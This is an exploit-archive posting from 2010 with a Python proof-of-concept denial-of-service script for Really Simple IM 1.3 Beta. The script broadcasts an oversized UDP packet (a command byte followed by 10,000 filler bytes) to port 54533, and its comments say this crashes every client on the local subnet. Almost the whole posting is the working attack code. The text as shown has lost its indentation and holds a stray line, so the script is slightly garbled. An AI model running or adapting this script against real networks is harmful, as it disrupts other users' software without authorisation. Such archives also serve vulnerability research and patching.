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Really Simple IM 1.3 Beta Denial Of Service

Really Simple IM 1.3 Beta Denial Of Service
Posted Jul 20, 2010
Authored by loneferret

Really Simple IM version 1.3 Beta denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | 529f9e9af3d7e65c19b1f6ae01cb0aae8442444dce6eb40daf258cf5ba95f89c

Really Simple IM 1.3 Beta Denial Of Service

Change Mirror Download
#!/usr/bin/python

import socket
import sys

# Bug found: 18th July 2010
# DoS proof of concept
# Found by: loneferret
# Tested on Windows XP Professional SP2-SP3 & Windows XP Home SP3

# Really Simple IM verion 1.3 beta
# Software: http://code.google.com/p/reallysimpleim/
# Nods to exploit-db
# I don't want this on injector <- notice the no leet talk.

# This little application uses UDP to & send receive messages.
# It broadcasts everything, and picks up everything
# on port 54533.
# The funny thing with this PoC, it will crash all clients
# in the same subnet. Yup it's that funny. That's the only thing it does too...
# No EIP, no SEH but the buffer is still in memory at the
# moment of the crash. Figured I'd share anyway.


#Commands
# 'p' Connect and adds users to list
# 'a' Disconnect message
# 'b' Send message
# 't' Direct message

host = '192.168.xxx.255' #Adjust broadcast address to your network
port = 54533

buffer



try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
print "socket() failed"
sys.exit(1)

da = "p"
da += "W00T" + ("\x41" * 10000)
s.sendto(da, (host, port))

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